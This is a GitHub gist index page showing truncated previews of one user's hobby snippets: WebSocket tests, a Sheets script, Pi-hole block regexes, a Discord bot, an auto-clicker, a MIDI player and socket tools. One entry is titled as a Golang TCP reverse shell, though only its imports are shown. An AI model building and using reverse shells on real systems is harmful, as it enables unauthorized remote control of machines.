Skip to content

Instantly share code, notes, and snippets.

@psidex
psidex / browser.js
Last active October 13, 2023 16:18
Weird issue
// Execute this normally in a browsers debug console.
const ws = new WebSocket('ws://127.0.0.1:8080/');
ws.onopen = async () => {
// Send different 1mb arrays.
for (let i = 0; i < 10; i++) {
const data = new Uint8Array(1024 * 1024);
for (let j = 0; j < 1024 * 1024; j++) {
data[j] = i;
@psidex
psidex / OpinionHighlighter.gs
Last active October 20, 2020 21:24
Custom Google sheets script for highlighting my & my friends movie ratings
// The columns that will contain opinions (emoji).
const opinionColumns = [16, 17, 18, 19, 20];
// The columns to change the colour of.
const toColourColumns = [15, 16, 17, 18, 19, 20];
// The weights given to each individual opinion.
const opinionWeights = {
"😍": 6,
"👍": 3,
@psidex
psidex / main.go
Last active June 16, 2020 02:07
Golang reverse shell over TCP
package main
import (
"bufio"
"fmt"
"net"
"os/exec"
"runtime"
"strings"
)
@psidex
psidex / list.txt
Last active April 27, 2020 18:39
UK Takeaway Pi-hole Regex
(^|.*\.)(deliveroo)\..*$
(^|.*\.)(je-apis|je-apps|just-eat|just-eat-prod-.*)\..*$
(^|.*\.)(uber|ubereats)\..*$
@psidex
psidex / test.py
Created April 5, 2019 17:27
basic discord.py rewrite bot
import discord
DISCORD_TOKEN = ""
class testClient(discord.Client):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
async def on_ready(self):
@psidex
psidex / aim.py
Last active March 15, 2019 17:33
A quickly written auto-clicker for aimbooster.com
from PIL import ImageGrab
import numpy as np
import pyautogui
from time import sleep
coords = [181, 348, 778, 765] # Game window coords
againCoords = [505, 732] # "Again" button coords
# Game window h/w
imageWidth = 597
from tkinter import Tk, filedialog
import os
Tk().withdraw()
directory = filedialog.askdirectory()
filenames = os.listdir(directory)
for count, filename in enumerate(filenames):
file_extension = os.path.splitext(filename)[1]
print(filename + " -> " + str(count+1)+file_extension)
import websocket
from json import loads as tojson
def on_message(ws, raw_message):
print("\nGot raw_message")
message = tojson(raw_message)
invalue = int(message["x"]["inputs"][0]["prev_out"]["value"]) / 100000000
outvalue = int(message["x"]["out"][0]["value"]) / 100000000
print("BTC in :", invalue)
print("BTC out:", outvalue) # Actual confirmed transaction
from mido import MidiFile
from time import sleep
import pygame, sys
count = 0
playback_gui = " "*10
print("Press CTRL+C to quit")
if len(sys.argv) < 2:
mid_file = input(".mid file path: ")
else:
mid_file = " ".join(sys.argv[1:])
@psidex
psidex / simpleclient.py
Last active July 23, 2017 15:20
Helps test if server & client machines can connect
import socket
import sys
host = input("Host >> ")
port = int(input("Port >> "))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host, port))
except OSError: